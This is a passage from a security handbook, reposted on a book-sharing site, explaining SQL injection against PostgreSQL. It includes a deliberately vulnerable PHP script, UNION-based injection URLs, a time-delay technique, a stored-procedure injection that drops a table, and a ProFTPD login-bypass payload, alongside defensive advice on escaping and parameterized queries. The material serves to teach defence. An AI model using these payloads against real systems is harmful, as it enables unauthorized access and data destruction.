SQL Injection with PostgreSQL

SQL injection vulnerabilities have plagued poorly written web applications. Applications that dynamically create and execute queries on PostgreSQL are potentially vulnerable unless care is taken to create certain escape characters such as ' and /. The following snippet of PHP demonstrates a typical SQL injection flaw:

 <?php // moviedatabase.php     // Connect to the Database $conn = pg_connect("host=10.0.0.1 port=5432 dbname=movies user=postgres password=password!!");      // Retrieve title parameter from submitted URL  $title = $_GET[title];      // Build query; note lack of input validation on $title $query  = "SELECT title, description FROM movietable WHERE title LIKE '%$title%';";     // Execute query and retrieve recordset $myresult = pg_exec($conn, $query);     // Enumerate rows in recordset   for ($lt = 0; $lt < pg_numrows($myresult); $lt++)    {     $title = pg_result($myresult, $lt, 0);     $description = pg_result($myresult, $lt, 1);     $year = pg_result($myresult, $lt, 0);         // Print results     print("<br><br>\n");     print("Title: $title <br/>\n");     print("Description: $description <br/>\n");     print("Year: $year <br/>\n");   }     // If no records were matched, display a message  if (pg_numrows($myresult) == 0) print("Sorry no results found. <br>\n"); ?> 

In normal operation, this script would be executed by accessing the URL of the form:

 http://webserver/moviedatabase.php?title=Hackers 

and would return matching movie titles, as follows :

 Title: Hackers Description: A movie about breaking into computers  Year: 1995 

If, however, an attacker appends additional characters to the title parameter, it becomes apparent that the query has not been safely constructed :

 http://webserver/moviedatabase.php?title=Hackers' Warning: pg_exec(): Query failed: ERROR: unterminated quoted string at  or near "'" at character 70 in /var/www/php/moviedatabase.php on line 19 

This example is somewhat contrived for clarity's sake in that the display_errors directive in the php.ini configuration file has been turned on. This is not recommended for production sites (yet many people choose to leave it on). Some applications may also display PostgreSQL-specific error messages by calling pg_last_error(). Writing the pg_exec() line as follows would produce an error message similar to the preceding one:

 $myresult = pg_exec($conn, $query) or die(pg_last_error()); 

Best practice dictates that display_errors is turned off and that pg_last_error() is used to write to an error log that is not stored under the web root.

The attacker will likely want to determine what other information resides in the database, and information about the PostgreSQL instance itself. PostgreSQL supports the UNION keyword enabling SELECT statements to be extended to return useful information. Furthermore, SELECT statements do not require FROM; thus initially constants can be returned to verify that the statement is working as expected:

 http://webserver/moviedatabase.php?title=' UNION SELECT 'aaaa';-- Warning: pg_exec(): Query failed: ERROR: each UNION query must have the  same number of columns in /var/www/php/moviedatabase.php on line 19 

Note first that -- is used to comment out the remainder of the query. Second, an error is returned informing the attacker that the initial SELECT contains more columns. The attacker may continue to add string constants until either the query returns no error or a new error:

 http://webserver/moviedatabase.php?title=' UNION SELECT 'aaaa', 'bbbb', 'cccc';-- Warning: pg_exec(): Query failed: ERROR: invalid input syntax for  integer: "cccc" in /var/www/php/moviedatabase.php on line 19 

PostgreSQL error messages are friendly in that not only do they reveal the erroneous column, but they also return the expected data type (integer). Finally, the following query returns the constants:

 http://webserver/moviedatabase.php?title=' UNION SELECT 'aaaa', 'bbbb', 1234;-- Title: Hackers Description: A movie about breaking into computers  Year: 1995          Title: aaaa  Description: bbbb  Year: 1234 

Like other DBMSsuch as Microsoft SQL Server, PostgreSQL will automatically attempt to cast incorrect data types such as strings to integer; this is known as a coercion. Therefore, submitting

 http://webserver/moviedatabase.php?title=' UNION SELECT 'aaaa', 'bbbb', '1234';-- 

will also work. Once the attacker knows the number of required columns and their data types, useful information can be mined.

Useful Built-In Functions

The following functions may be of use (keywords and function names are case insensitive but note that some functions require parentheses; others do not):

  • current_user: Returns the current database username as a string of type " name " (a 31-character length non-standard type used for storing system identifiers). user may be used instead of current_user, as can getpgusername(), although this is deprecated.

  • session_user: PostgreSQL permits the database superuser to execute queries as another database user without having to disconnect and reconnect . The session_user function returns the username of the original database user that connected.

  • current_setting(<setting_name>): This function retrieves session settings. Interesting settings include password_encryption (on/off), port (typically 5432), log_connection, and log_statement (determines how much information is logged). PostgreSQL 8.0 has introduced a number of new settings, in particular data_directory, config_file, and hba_file, which reveal the physical paths to these files.

    Settings can be reconfigured via set_config(<setting_name>, <new_value>, <is_local>) although this function is available only to database superusers.

  • version(): Returns the version number of the database and often reveals build information, such as the compiler version used to produce it. This will often reveal the platform that the database is running on, for example:

     PostgreSQL 8.0.0 on i686-pc-mingw32, compiled by GCC gcc.exe (GCC) 3.4.2 (mingw-special)  PostgreSQL 7.4.1 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 3.3.2 (Mandrake Linux 10.0 3.3.2-6mdk) 
  • current_database(): Returns current database name.

  • current_time: Returns current time with timezone as an object of type time.

  • current_timestamp: Returns current time with timezone and date as an object of type timestamp.

  • inet_client_addr(): Returns address of the remote (that is, client application) connection as an object of type inet.

  • inet_client_port(): Returns the port of the remote connection as an integer.

  • inet_server_addr(): Returns the address of the local (that is, backend) connection as an object of type inet.

  • inet_server_port(): Returns the port of the local connection as an integer.

The network functions are useful for determining information about the infrastructure and for verifying whether the client and server applications are running on the same system. PostgreSQL contains a number of functions for operating on inet and cidr objects. The host() function can be used to return a string representation of an inet object:

 SELECT host(inet_server_addr()); 127.0.0.1 

When mining information from the database, the system catalogs provide a useful starting point for an attacker. If the attacker has low user privilege, the pg_shadow table is not accessible. The pg_user view will return username and group information as demonstrated in the previous chapter.

The has_table_privilege() function can be used to determine access to particular tables:

 has_table_privilege(user, table, access) 

where access must be one of SELECT, INSERT, UPDATE, DELETE, RULE, REFERENCES, or TRIGGER.

Using Time Delay on PostgreSQL 8.0

If the SQL injection occurs on a statement that does not return results to the screen (such as an INSERT), the attacker must determine an alternative means of retrieving query results. Chris Anley discusses using the WAITFOR DELAY function in Microsoft SQL Server in his paper "Advanced SQL Injection" in order to return a binary piece of information. PostgreSQL does not have a built-in function to delay for a set amount of time, but by executing a function that takes a considerable length of time, the same result can be achieved.

PostgreSQL 8.0 has the following functions to generate series:

 SELECT generate_series(1, 4);     1 2 3 4 

Using

 SELECT 'done' where exists(select * from generate_series(2,3000000)); 

takes approximately 4 “5 seconds on a reasonably fast machine. PostgreSQL does not have a built-in function for repeating an operation a number of times in the way that MySQL has BENCHMARK().

SQL Injection in Stored Procedures

Consider the following PL/pgSQL procedure:

 CREATE TABLE adminlog (message VARCHAR);     CREATE OR REPLACE FUNCTION adminlog(VARCHAR) RETURNS VARCHAR LANGUAGE 'plpgsql' SECURITY DEFINER AS ' BEGIN EXECUTE ''INSERT INTO adminlog VALUES (''''''    '''''');''; RETURN ''All done''; END ' 

The purpose of the function (defined by the database superuser) is to permit other users to populate the adminlog table. The EXECUTE command is used to execute dynamic SQL that is constructed via the concatenation operator, "". The string argument supplied to EXECUTE must be escaped (two single quotes) because the function definition is already contained within quotes. To insert a single quote into the string itself, four single quotes are required. Functions written in PL/pgSQL can contain most SQL commands inline, so in this case, the EXECUTE command is actually superfluous. The SELECT command cannot be used inline; the SELECT INTO PL/pgSQL command is typically used to retrieve data into a variable.

The preceding function is designed to be used as follows:

 SELECT adminlog('Test'); All done 

It is possible, however, for any user to inject into the EXECUTE statement and execute an arbitrary query on behalf of the superuser. Since the 'Test' string is contained within single quotes, to insert a single quote, two quotes are required, thus:

 SELECT adminlog('Test''); DROP TABLE adminlog;--');   All done     SELECT adminlog('Test2');     ERROR:  relation "adminlog" does not exist CONTEXT:  SQL statement "INSERT INTO adminlog VALUES ('Test2');" PL/pgSQL function "adminlog" line 2 at execute statement 

PostgreSQL does not have pre-installed procedural language functions unlike Oracle and SQL Server. Nevertheless, given that the attacker can read the source code to all stored procedures, it is imperative that extreme care is taken when using EXECUTE.

SQL Injection Vulnerabilities in Other Applications

SQL injection attacks have also affected a number of applications including Courier IMAP server, the libpam-pgsql library, and ProFTPD FTP server. These applications make use of the most basic functions of libpq such as PQexec to execute dynamically constructed queries.

ProFTPD 1.2.9rc1 and below configured to use PostgreSQL as the backend database permitted an attacker to login via SQL injection. The following example, re-created from the original advisory ( http://www. securiteam .com/unixfocus/5LP0E2KAAI.html ), demonstrates the authentication bypass. Italicized lines represent server responses.

 runlevel@runlevel:~/$ ftp localhost Connected to localhost.  220 ProFTPD 1.2.8 Server (Debian) [*****]  Name (localhost:run-level): ')UNION SELECT 'u','p',1001,1001,'/tmp','/bin/bash' WHERE(''='  331 Password required for ')UNION.  Password:  230 User ')UNION SELECT 'u','p',1001,1001,'/tmp'   ,'/bin/bash' WHERE(''=' logged in.  Remote system type is UNIX. Using binary mode to transfer files. ftp> 

The query that is passed to the backend uses a UNION to return arbitrary data:

 SELECT userid, passwd, uid, gid, shell FROM prue  WHERE (userid='')UNION SELECT 'u','p',1002,1002,'/bin/bash' WHERE(''='') LIMIT 1" 

As far as the application is concerned the query has successfully verified that the username and password are correct. There are many potential injection strings that will cause the same result. Perhaps the simplest would be to specify a username of ' OR 1 = 1;--

The libpq library in PostgreSQL 7.2 introduced a function to assist in escaping problematic characters. PQescapeString escapes a string for use within a SQL command; this is similar to MySQL's mysql_real_escape_string. This function is not required if the application makes use of PQexecParams or PQexecPrepared to execute a parameterized query. PQexecPrepared is similar to PQexecParams, but the command to be executed is specified by naming a previously prepared statement, instead of passing a query string. The prepared statement must first be created via the PREPARE statement ”this has the computational benefit that the query plan is determined only once. PQexecParams and PQexecPrepared also have the benefit of permitting only a single query to be executed per call as an additional layer of defense against SQL injection. These two functions are available only in protocol version 3.0, that is PostgreSQL 7.4 and higher.

PostgreSQL had an interesting vulnerability affecting versions prior to 7.2 that potentially permitted SQL injection, even when it was not possible in the client application itself. The vulnerability triggered when converting a multi-byte character from an encoding such as LATIN1 into a more restrictive alternative encoding (such as SQL_ASCII) if no corresponding character existed. The intended behavior was simply to convert the character into its multi-byte hexadecimal equivalent. It was noted, however, that a bug in the conversion routine caused it to consume the next character in the query string. Thus if an application (correctly) escaped a single quote immediately preceding a par-ticular multi-byte character, PostgreSQL would remove it!

This discussion around this vulnerability can be found at http://marc.theaimsgroup.com/?l=postgresql-general&m=102032794322362 .



Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net